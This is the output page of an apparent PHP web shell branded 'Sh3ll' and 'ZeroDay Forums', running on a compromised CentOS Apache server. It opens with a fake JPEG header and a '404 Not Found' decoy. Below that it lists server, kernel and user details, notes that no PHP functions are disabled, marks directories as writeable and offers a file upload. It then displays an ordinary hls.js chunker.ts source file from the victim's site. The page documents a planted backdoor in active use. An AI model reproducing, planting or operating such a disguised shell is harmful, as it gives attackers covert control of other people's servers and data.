����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/layout/default/node_modules/hls.js/src/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/netphim/layout/default/node_modules/hls.js/src/utils/chunker.ts
import { appendUint8Array } from './mp4-tools';
import { sliceUint8 } from './typed-array';

export default class Chunker {
  private chunkSize: number;
  public cache: Uint8Array | null = null;
  constructor(chunkSize = Math.pow(2, 19)) {
    this.chunkSize = chunkSize;
  }

  public push(data: Uint8Array): Array<Uint8Array> {
    const { cache, chunkSize } = this;
    const result: Array<Uint8Array> = [];

    let temp: Uint8Array | null = null;
    if (cache?.length) {
      temp = appendUint8Array(cache, data);
      this.cache = null;
    } else {
      temp = data;
    }

    if (temp.length < chunkSize) {
      this.cache = temp;
      return result;
    }

    if (temp.length > chunkSize) {
      let offset = 0;
      const len = temp.length;
      while (offset < len - chunkSize) {
        result.push(sliceUint8(temp, offset, offset + chunkSize));
        offset += chunkSize;
      }
      this.cache = sliceUint8(temp, offset);
    } else {
      result.push(temp);
    }

    return result;
  }
}

ZeroDay Forums Mini